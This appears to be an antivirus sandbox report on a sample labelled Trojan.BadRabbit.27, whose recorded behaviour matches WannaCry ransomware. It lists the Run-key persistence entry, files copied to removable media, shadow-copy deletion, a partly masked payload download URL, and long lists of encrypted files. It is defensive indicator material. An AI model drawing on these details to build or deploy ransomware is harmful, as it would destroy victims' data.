Trojan.BadRabbit.27

Technical Information

To ensure autorun and distribution

Modifies the following registry keys

[HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run] 'tpnhyzbprkcsml819' = '"<Current directory>\tasksche.exe"'

Creates the following files on removable media

<Drive name for removable media>:\@please_read_me@.txt
<Drive name for removable media>:\@wanadecryptor@.exe

Malicious functions

To complicate detection of its presence in the operating system,

deletes volume shadow copies.

Downloads

http://12#.#5.84.149:8080/wannacry.exe as <Current directory>\installer.exe

Reads files which store third party applications passwords

%HOMEPATH%\desktop\1189.jpg
%HOMEPATH%\desktop\3.jpg
%HOMEPATH%\desktop\4f0bf7ff71f28.jpeg
%HOMEPATH%\desktop\508softwareandos.doc
%HOMEPATH%\desktop\hanni_umami_chapter.doc
%HOMEPATH%\desktop\issi2013_template_for_posters.docx
%HOMEPATH%\desktop\coffee.bmp
%HOMEPATH%\desktop\dashborder_96.bmp
%HOMEPATH%\desktop\default.bmp
%HOMEPATH%\desktop\dial.bmp
%HOMEPATH%\desktop\tileimage.bmp

Modifies file system

Creates the following files

%TEMP%\ba8c.tmp\ba8d.tmp\ba9e.bat
<Current directory>\installer.exe
<Current directory>\b.wnry
<Current directory>\c.wnry
<Current directory>\msg\m_bulgarian.wnry
<Current directory>\msg\m_chinese (simplified).wnry
<Current directory>\msg\m_chinese (traditional).wnry
<Current directory>\msg\m_croatian.wnry
<Current directory>\msg\m_czech.wnry
<Current directory>\msg\m_danish.wnry
<Current directory>\msg\m_dutch.wnry
<Current directory>\msg\m_english.wnry
<Current directory>\msg\m_filipino.wnry
<Current directory>\msg\m_finnish.wnry
<Current directory>\msg\m_french.wnry
<Current directory>\msg\m_german.wnry
<Current directory>\msg\m_greek.wnry
<Current directory>\msg\m_indonesian.wnry
<Current directory>\msg\m_italian.wnry
<Current directory>\msg\m_japanese.wnry
<Current directory>\msg\m_korean.wnry
<Current directory>\msg\m_latvian.wnry
<Current directory>\msg\m_norwegian.wnry
<Current directory>\msg\m_polish.wnry
<Current directory>\msg\m_portuguese.wnry
<Current directory>\msg\m_romanian.wnry
<Current directory>\msg\m_russian.wnry
<Current directory>\msg\m_slovak.wnry
<Current directory>\msg\m_spanish.wnry
<Current directory>\msg\m_swedish.wnry
<Current directory>\msg\m_turkish.wnry
<Current directory>\msg\m_vietnamese.wnry
<Current directory>\r.wnry
<Current directory>\s.wnry
<Current directory>\t.wnry
<Current directory>\taskdl.exe
<Current directory>\taskse.exe
<Current directory>\u.wnry
<Current directory>\00000000.pky
<Current directory>\00000000.eky
<Current directory>\00000000.res
<Current directory>\@wanadecryptor@.exe
<Current directory>\257691758318620.bat
<Current directory>\@please_read_me@.txt
%HOMEPATH%\desktop\1189.jpg.wncryt
%HOMEPATH%\desktop\3.jpg.wncryt
%HOMEPATH%\desktop\4f0bf7ff71f28.jpeg.wncryt
%HOMEPATH%\desktop\508softwareandos.doc.wncryt
%HOMEPATH%\desktop\hanni_umami_chapter.doc.wncryt
%HOMEPATH%\desktop\issi2013_template_for_posters.docx.wncryt
%HOMEPATH%\desktop\@please_read_me@.txt
%HOMEPATH%\desktop\@wanadecryptor@.exe
<Current directory>\m.vbs
<Current directory>\@wanadecryptor@.exe.lnk
C:\@please_read_me@.txt
C:\@wanadecryptor@.exe
C:\msocache\all users\{90160000-0011-0000-0000-0000000ff1ce}-c\@please_read_me@.txt
C:\msocache\all users\{90160000-0011-0000-0000-0000000ff1ce}-c\@wanadecryptor@.exe
C:\recovery\windowsre\@please_read_me@.txt
C:\recovery\windowsre\@wanadecryptor@.exe
%ALLUSERSPROFILE%\microsoft\appv\setup\@please_read_me@.txt
%ALLUSERSPROFILE%\microsoft\appv\setup\@wanadecryptor@.exe.lnk
%ALLUSERSPROFILE%\microsoft\diagnosis\@please_read_me@.txt
%ALLUSERSPROFILE%\microsoft\diagnosis\@wanadecryptor@.exe.lnk
%ALLUSERSPROFILE%\microsoft\diagnosis\scenariossqlstore\@please_read_me@.txt
%ALLUSERSPROFILE%\microsoft\diagnosis\scenariossqlstore\@wanadecryptor@.exe.lnk
%ALLUSERSPROFILE%\microsoft\network\downloader\@please_read_me@.txt
%ALLUSERSPROFILE%\microsoft\network\downloader\@wanadecryptor@.exe.lnk
%ALLUSERSPROFILE%\microsoft\smsrouter\messagestore\@please_read_me@.txt
%ALLUSERSPROFILE%\microsoft\smsrouter\messagestore\@wanadecryptor@.exe.lnk
%ALLUSERSPROFILE%\microsoft\uev\scripts\@please_read_me@.txt
%ALLUSERSPROFILE%\microsoft\uev\scripts\@wanadecryptor@.exe.lnk
%ALLUSERSPROFILE%\microsoft\user account pictures\@please_read_me@.txt
%ALLUSERSPROFILE%\microsoft\user account pictures\@wanadecryptor@.exe.lnk
%ALLUSERSPROFILE%\microsoft\windows\caches\@please_read_me@.txt
%ALLUSERSPROFILE%\microsoft\windows\caches\@wanadecryptor@.exe.lnk
%ALLUSERSPROFILE%\microsoft\windows defender.bak\scans\@please_read_me@.txt
%ALLUSERSPROFILE%\microsoft\windows defender.bak\scans\@wanadecryptor@.exe.lnk
%ALLUSERSPROFILE%\microsoft\windows nt\msscan\@please_read_me@.txt
%ALLUSERSPROFILE%\microsoft\windows nt\msscan\@wanadecryptor@.exe.lnk
%LOCALAPPDATA%\@please_read_me@.txt
%LOCALAPPDATA%\@wanadecryptor@.exe.lnk
%LOCALAPPDATA%\microsoft\internet explorer\brndlog.txt.wncryt
%LOCALAPPDATA%\packages\microsoft.skypeapp_kzf8qxf38zg5c\localstate\diagoutputdir\skypeapp0.txt.wncryt
%LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\ac\appcache\dfgt9a84\1\c__windows_systemapps_microsoft.windows.search_cw5n1h2txyewy_cache_desktop_10[1].txt.wncryt
%LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\ac\appcache\dfgt9a84\1\c__windows_systemapps_microsoft.windows.search_cw5n1h2txyewy_cache_desktop_11[1].txt.wncryt
%LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\ac\appcache\dfgt9a84\1\c__windows_systemapps_microsoft.windows.search_cw5n1h2txyewy_cache_desktop_12[1].txt.wncryt
%LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\ac\appcache\dfgt9a84\1\c__windows_systemapps_microsoft.windows.search_cw5n1h2txyewy_cache_desktop_13[1].txt.wncryt
%LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\ac\appcache\dfgt9a84\1\c__windows_systemapps_microsoft.windows.search_cw5n1h2txyewy_cache_desktop_14[1].txt.wncryt
%LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\ac\appcache\dfgt9a84\1\c__windows_systemapps_microsoft.windows.search_cw5n1h2txyewy_cache_desktop_15[1].txt.wncryt
%LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\ac\appcache\dfgt9a84\1\c__windows_systemapps_microsoft.windows.search_cw5n1h2txyewy_cache_desktop_16[1].txt.wncryt
%LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\ac\appcache\dfgt9a84\1\c__windows_systemapps_microsoft.windows.search_cw5n1h2txyewy_cache_desktop_17[1].txt.wncryt
%LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\ac\appcache\dfgt9a84\1\c__windows_systemapps_microsoft.windows.search_cw5n1h2txyewy_cache_desktop_18[1].txt.wncryt
%LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\ac\appcache\dfgt9a84\1\c__windows_systemapps_microsoft.windows.search_cw5n1h2txyewy_cache_desktop_19[1].txt.wncryt
%LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\ac\appcache\dfgt9a84\1\c__windows_systemapps_microsoft.windows.search_cw5n1h2txyewy_cache_desktop_20[1].txt.wncryt
%LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\ac\appcache\dfgt9a84\1\c__windows_systemapps_microsoft.windows.search_cw5n1h2txyewy_cache_desktop_21[1].txt.wncryt
%LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\ac\appcache\dfgt9a84\1\c__windows_systemapps_microsoft.windows.search_cw5n1h2txyewy_cache_desktop_22[1].txt.wncryt
%LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\ac\appcache\dfgt9a84\1\c__windows_systemapps_microsoft.windows.search_cw5n1h2txyewy_cache_desktop_23[1].txt.wncryt
%LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\ac\appcache\dfgt9a84\1\c__windows_systemapps_microsoft.windows.search_cw5n1h2txyewy_cache_desktop_24[1].txt.wncryt
%LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\ac\appcache\dfgt9a84\1\c__windows_systemapps_microsoft.windows.search_cw5n1h2txyewy_cache_desktop_25[1].txt.wncryt
%LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\ac\appcache\dfgt9a84\1\c__windows_systemapps_microsoft.windows.search_cw5n1h2txyewy_cache_desktop_26[1].txt.wncryt
%LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\ac\appcache\dfgt9a84\1\c__windows_systemapps_microsoft.windows.search_cw5n1h2txyewy_cache_desktop_27[1].txt.wncryt
%LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\ac\appcache\dfgt9a84\1\c__windows_systemapps_microsoft.windows.search_cw5n1h2txyewy_cache_desktop_28[1].txt.wncryt
%LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\ac\appcache\dfgt9a84\1\c__windows_systemapps_microsoft.windows.search_cw5n1h2txyewy_cache_desktop_29[1].txt.wncryt
%LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\ac\appcache\dfgt9a84\1\c__windows_systemapps_microsoft.windows.search_cw5n1h2txyewy_cache_desktop_2[1].txt.wncryt
%LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\ac\appcache\dfgt9a84\1\c__windows_systemapps_microsoft.windows.search_cw5n1h2txyewy_cache_desktop_3[1].txt.wncryt
%LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\ac\appcache\dfgt9a84\1\c__windows_systemapps_microsoft.windows.search_cw5n1h2txyewy_cache_desktop_4[1].txt.wncryt
%LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\ac\appcache\dfgt9a84\1\c__windows_systemapps_microsoft.windows.search_cw5n1h2txyewy_cache_desktop_5[1].txt.wncryt
%LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\ac\appcache\dfgt9a84\1\c__windows_systemapps_microsoft.windows.search_cw5n1h2txyewy_cache_desktop_6[1].txt.wncryt
%LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\ac\appcache\dfgt9a84\1\c__windows_systemapps_microsoft.windows.search_cw5n1h2txyewy_cache_desktop_7[1].txt.wncryt
%LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\ac\appcache\dfgt9a84\1\c__windows_systemapps_microsoft.windows.search_cw5n1h2txyewy_cache_desktop_8[1].txt.wncryt
%LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\ac\appcache\dfgt9a84\1\c__windows_systemapps_microsoft.windows.search_cw5n1h2txyewy_cache_desktop_9[1].txt.wncryt
%LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\constraintindex\apps_{57061e4e-1e16-4c61-b18c-11c132e74233}\0.0.filtertrie.intermediate.txt.wncryt
%LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\constraintindex\apps_{e1d25c92-9e2f-468f-b31e-8ea94f6c0fac}\0.0.filtertrie.intermediate.txt.wncryt
%LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\constraintindex\input_{64c6d362-453e-4f77-ac86-adaf4fc0bc55}\appsconversions.txt.wncryt
%LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\constraintindex\input_{64c6d362-453e-4f77-ac86-adaf4fc0bc55}\appsglobals.txt.wncryt
%LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\constraintindex\input_{64c6d362-453e-4f77-ac86-adaf4fc0bc55}\appssynonyms.txt.wncryt
%LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\constraintindex\input_{64c6d362-453e-4f77-ac86-adaf4fc0bc55}\settingsconversions.txt.wncryt
%LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\constraintindex\input_{64c6d362-453e-4f77-ac86-adaf4fc0bc55}\settingsglobals.txt.wncryt
%LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\constraintindex\input_{64c6d362-453e-4f77-ac86-adaf4fc0bc55}\settingssynonyms.txt.wncryt
%LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\constraintindex\settings_{b8923a2c-9ca7-4024-b14f-30794afe5664}\0.0.filtertrie.intermediate.txt.wncryt
%LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\constraintindex\settings_{c962daa5-3c13-4c53-b573-e2ac874a52a3}\0.0.filtertrie.intermediate.txt.wncryt
%LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\devicesearchcache\appcache133678985908530147.txt.wncryt
%LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\devicesearchcache\appcache133678986116913057.txt.wncryt
%LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\devicesearchcache\appcache133678986733179726.txt.wncryt
%LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\devicesearchcache\appcache133678987880972005.txt.wncryt
%LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\devicesearchcache\appcache133678989939868207.txt.wncryt
%LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\devicesearchcache\appcache133678992605195845.txt.wncryt
%LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\devicesearchcache\appcache133678993617257337.txt.wncryt
%LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\devicesearchcache\appcache133678994176510543.txt.wncryt
%LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\devicesearchcache\appcache133678994514315348.txt.wncryt
%LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\devicesearchcache\appcache133678997188779717.txt.wncryt
%LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\devicesearchcache\appcache133678998364928099.txt.wncryt
%LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\devicesearchcache\appcache133678998646131207.txt.wncryt
<Current directory>\f.wnry
%LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\devicesearchcache\appcache133678999296595607.txt.wncryt
%LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\devicesearchcache\appcache133678999588120541.txt.wncryt
%LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\devicesearchcache\appcache133679000033359704.txt.wncryt
%LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\devicesearchcache\appcache133679000600569277.txt.wncryt
%LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\devicesearchcache\appcache133679000729483910.txt.wncryt
%LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\devicesearchcache\appcache133679004887860863.txt.wncryt
%LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\devicesearchcache\appcache133679006410337295.txt.wncryt
%LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\devicesearchcache\appcache133679008721437407.txt.wncryt
%LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\devicesearchcache\settingscache.txt.wncryt
%ALLUSERSPROFILE%\microsoft\appv\setup\officeintegrator.ps1.wncryt
%ALLUSERSPROFILE%\microsoft\windows nt\msfax\virtualinbox\en-us\welcomefax.tif.wncryt
%LOCALAPPDATA%\google\chrome\application\47.0.2526.106\installer\chrome.7z.wncryt
%LOCALAPPDATA%\packages\microsoft.skypeapp_kzf8qxf38zg5c\localstate\dtlskey.der.wncryt
%APPDATA%\microsoft\templates\normal.dotm.wncryt
%APPDATA%\mozilla\firefox\profiles\dnyauhh1.default-release\prefs.js.wncryt
%APPDATA%\mozilla\firefox\profiles\dnyauhh1.default-release\user.js.wncryt
%APPDATA%\mozilla\firefox\profiles\mlxv8edx.default\user.js.wncryt
%APPDATA%\thunderbird\profiles\gbmwccb6.default-release\prefs.js.wncryt
%ALLUSERSPROFILE%\microsoft\diagnosis\osver.txt.wncryt
%ALLUSERSPROFILE%\microsoft\uev\scripts\registerinboxtemplates.ps1.wncryt
%LOCALAPPDATA%\google\chrome\user data\default\extensions\aohghmighlieiainnegkcijnfilokake\0.0.0.6_0\main.js.wncryt
%LOCALAPPDATA%\packages\microsoft.skypeapp_kzf8qxf38zg5c\localstate\dtlscert.der.wncryt
%LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\constraintindex\apps_{57061e4e-1e16-4c61-b18c-11c132e74233}\0.1.filtertrie.intermediate.txt.wncryt
%LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\constraintindex\apps_{57061e4e-1e16-4c61-b18c-11c132e74233}\0.2.filtertrie.intermediate.txt.wncryt
%LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\constraintindex\apps_{e1d25c92-9e2f-468f-b31e-8ea94f6c0fac}\0.1.filtertrie.intermediate.txt.wncryt
%LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\constraintindex\apps_{e1d25c92-9e2f-468f-b31e-8ea94f6c0fac}\0.2.filtertrie.intermediate.txt.wncryt
%LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\constraintindex\settings_{b8923a2c-9ca7-4024-b14f-30794afe5664}\0.1.filtertrie.intermediate.txt.wncryt
%LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\constraintindex\settings_{b8923a2c-9ca7-4024-b14f-30794afe5664}\0.2.filtertrie.intermediate.txt.wncryt
%LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\constraintindex\settings_{c962daa5-3c13-4c53-b573-e2ac874a52a3}\0.1.filtertrie.intermediate.txt.wncryt
%LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\constraintindex\settings_{c962daa5-3c13-4c53-b573-e2ac874a52a3}\0.2.filtertrie.intermediate.txt.wncryt
%LOCALAPPDATA%\packages\microsoft.xboxgameoverlay_8wekyb3d8bbwe\localstate\diagoutputdir\logfile_august_11_2024__6_41_11.txt.wncryt
%APPDATA%\microsoft\templates\~$normal.dotm.wncryt
%APPDATA%\mozilla\firefox\profiles\dnyauhh1.default-release\pkcs11.txt.wncryt
%APPDATA%\mozilla\firefox\profiles\dnyauhh1.default-release\sitesecurityservicestate.txt.wncryt
%APPDATA%\thunderbird\profiles\gbmwccb6.default-release\alternateservices.txt.wncryt
%APPDATA%\thunderbird\profiles\gbmwccb6.default-release\pkcs11.txt.wncryt
%APPDATA%\thunderbird\profiles\gbmwccb6.default-release\securitypreloadstate.txt.wncryt
%APPDATA%\thunderbird\profiles\gbmwccb6.default-release\sitesecurityservicestate.txt.wncryt
C:\msocache\all users\{90160000-0011-0000-0000-0000000ff1ce}-c\propsww.cab.wncryt
C:\msocache\all users\{90160000-0011-0000-0000-0000000ff1ce}-c\propsww2.cab.wncryt
C:\recovery\windowsre\winre.wim.wncryt
%ALLUSERSPROFILE%\desktop\@wanadecryptor@.bmp
%ALLUSERSPROFILE%\desktop\@wanadecryptor@.exe
C:\users\default\desktop\@wanadecryptor@.bmp
C:\users\default\desktop\@wanadecryptor@.exe
C:\users\default user\desktop\@wanadecryptor@.bmp
C:\users\default user\desktop\@wanadecryptor@.exe
C:\users\public\desktop\@wanadecryptor@.bmp
C:\users\public\desktop\@wanadecryptor@.exe
%HOMEPATH%\desktop\@wanadecryptor@.bmp
%TEMP%\hibsys.wncryt
<Current directory>\taskdata\tor\libeay32.dll
<Current directory>\taskdata\tor\libevent-2-0-5.dll
<Current directory>\taskdata\tor\libevent_core-2-0-5.dll
<Current directory>\taskdata\tor\libevent_extra-2-0-5.dll
<Current directory>\taskdata\tor\libgcc_s_sjlj-1.dll
<Current directory>\taskdata\tor\libssp-0.dll
<Current directory>\taskdata\tor\ssleay32.dll
<Current directory>\taskdata\tor\tor.exe
<Current directory>\taskdata\tor\zlib1.dll
<Current directory>\taskdata\tor\taskhsvc.exe
%APPDATA%\tor\state.tmp

Moves the following files

from %HOMEPATH%\desktop\1189.jpg.wncryt to %HOMEPATH%\desktop\1189.jpg.wncry
from %HOMEPATH%\desktop\3.jpg.wncryt to %HOMEPATH%\desktop\3.jpg.wncry
from %HOMEPATH%\desktop\4f0bf7ff71f28.jpeg.wncryt to %HOMEPATH%\desktop\4f0bf7ff71f28.jpeg.wncry
from %HOMEPATH%\desktop\508softwareandos.doc.wncryt to %HOMEPATH%\desktop\508softwareandos.doc.wncry
from %HOMEPATH%\desktop\hanni_umami_chapter.doc.wncryt to %HOMEPATH%\desktop\hanni_umami_chapter.doc.wncry
from %HOMEPATH%\desktop\issi2013_template_for_posters.docx.wncryt to %HOMEPATH%\desktop\issi2013_template_for_posters.docx.wncry
from %LOCALAPPDATA%\microsoft\internet explorer\brndlog.txt.wncryt to %LOCALAPPDATA%\microsoft\internet explorer\brndlog.txt.wncry
from %LOCALAPPDATA%\packages\microsoft.skypeapp_kzf8qxf38zg5c\localstate\diagoutputdir\skypeapp0.txt.wncryt to %LOCALAPPDATA%\packages\microsoft.skypeapp_kzf8qxf38zg5c\localstate\diagoutputdir\skypeapp0.txt.wncry
from %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\ac\appcache\dfgt9a84\1\c__windows_systemapps_microsoft.windows.search_cw5n1h2txyewy_cache_desktop_10[1].txt.wncryt to %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\ac\appcache\dfgt9a84\1\c__windows_systemapps_microsoft.windows.search_cw5n1h2txyewy_cache_desktop_10[1].txt.wncry
from %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\ac\appcache\dfgt9a84\1\c__windows_systemapps_microsoft.windows.search_cw5n1h2txyewy_cache_desktop_11[1].txt.wncryt to %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\ac\appcache\dfgt9a84\1\c__windows_systemapps_microsoft.windows.search_cw5n1h2txyewy_cache_desktop_11[1].txt.wncry
from %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\ac\appcache\dfgt9a84\1\c__windows_systemapps_microsoft.windows.search_cw5n1h2txyewy_cache_desktop_12[1].txt.wncryt to %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\ac\appcache\dfgt9a84\1\c__windows_systemapps_microsoft.windows.search_cw5n1h2txyewy_cache_desktop_12[1].txt.wncry
from %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\ac\appcache\dfgt9a84\1\c__windows_systemapps_microsoft.windows.search_cw5n1h2txyewy_cache_desktop_13[1].txt.wncryt to %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\ac\appcache\dfgt9a84\1\c__windows_systemapps_microsoft.windows.search_cw5n1h2txyewy_cache_desktop_13[1].txt.wncry
from %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\ac\appcache\dfgt9a84\1\c__windows_systemapps_microsoft.windows.search_cw5n1h2txyewy_cache_desktop_14[1].txt.wncryt to %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\ac\appcache\dfgt9a84\1\c__windows_systemapps_microsoft.windows.search_cw5n1h2txyewy_cache_desktop_14[1].txt.wncry
from %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\ac\appcache\dfgt9a84\1\c__windows_systemapps_microsoft.windows.search_cw5n1h2txyewy_cache_desktop_15[1].txt.wncryt to %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\ac\appcache\dfgt9a84\1\c__windows_systemapps_microsoft.windows.search_cw5n1h2txyewy_cache_desktop_15[1].txt.wncry
from %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\ac\appcache\dfgt9a84\1\c__windows_systemapps_microsoft.windows.search_cw5n1h2txyewy_cache_desktop_16[1].txt.wncryt to %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\ac\appcache\dfgt9a84\1\c__windows_systemapps_microsoft.windows.search_cw5n1h2txyewy_cache_desktop_16[1].txt.wncry
from %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\ac\appcache\dfgt9a84\1\c__windows_systemapps_microsoft.windows.search_cw5n1h2txyewy_cache_desktop_17[1].txt.wncryt to %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\ac\appcache\dfgt9a84\1\c__windows_systemapps_microsoft.windows.search_cw5n1h2txyewy_cache_desktop_17[1].txt.wncry
from %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\ac\appcache\dfgt9a84\1\c__windows_systemapps_microsoft.windows.search_cw5n1h2txyewy_cache_desktop_18[1].txt.wncryt to %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\ac\appcache\dfgt9a84\1\c__windows_systemapps_microsoft.windows.search_cw5n1h2txyewy_cache_desktop_18[1].txt.wncry
from %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\ac\appcache\dfgt9a84\1\c__windows_systemapps_microsoft.windows.search_cw5n1h2txyewy_cache_desktop_19[1].txt.wncryt to %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\ac\appcache\dfgt9a84\1\c__windows_systemapps_microsoft.windows.search_cw5n1h2txyewy_cache_desktop_19[1].txt.wncry
from %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\ac\appcache\dfgt9a84\1\c__windows_systemapps_microsoft.windows.search_cw5n1h2txyewy_cache_desktop_20[1].txt.wncryt to %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\ac\appcache\dfgt9a84\1\c__windows_systemapps_microsoft.windows.search_cw5n1h2txyewy_cache_desktop_20[1].txt.wncry
from %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\ac\appcache\dfgt9a84\1\c__windows_systemapps_microsoft.windows.search_cw5n1h2txyewy_cache_desktop_21[1].txt.wncryt to %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\ac\appcache\dfgt9a84\1\c__windows_systemapps_microsoft.windows.search_cw5n1h2txyewy_cache_desktop_21[1].txt.wncry
from %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\ac\appcache\dfgt9a84\1\c__windows_systemapps_microsoft.windows.search_cw5n1h2txyewy_cache_desktop_22[1].txt.wncryt to %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\ac\appcache\dfgt9a84\1\c__windows_systemapps_microsoft.windows.search_cw5n1h2txyewy_cache_desktop_22[1].txt.wncry
from %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\ac\appcache\dfgt9a84\1\c__windows_systemapps_microsoft.windows.search_cw5n1h2txyewy_cache_desktop_23[1].txt.wncryt to %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\ac\appcache\dfgt9a84\1\c__windows_systemapps_microsoft.windows.search_cw5n1h2txyewy_cache_desktop_23[1].txt.wncry
from %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\ac\appcache\dfgt9a84\1\c__windows_systemapps_microsoft.windows.search_cw5n1h2txyewy_cache_desktop_24[1].txt.wncryt to %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\ac\appcache\dfgt9a84\1\c__windows_systemapps_microsoft.windows.search_cw5n1h2txyewy_cache_desktop_24[1].txt.wncry
from %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\ac\appcache\dfgt9a84\1\c__windows_systemapps_microsoft.windows.search_cw5n1h2txyewy_cache_desktop_25[1].txt.wncryt to %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\ac\appcache\dfgt9a84\1\c__windows_systemapps_microsoft.windows.search_cw5n1h2txyewy_cache_desktop_25[1].txt.wncry
from %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\ac\appcache\dfgt9a84\1\c__windows_systemapps_microsoft.windows.search_cw5n1h2txyewy_cache_desktop_26[1].txt.wncryt to %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\ac\appcache\dfgt9a84\1\c__windows_systemapps_microsoft.windows.search_cw5n1h2txyewy_cache_desktop_26[1].txt.wncry
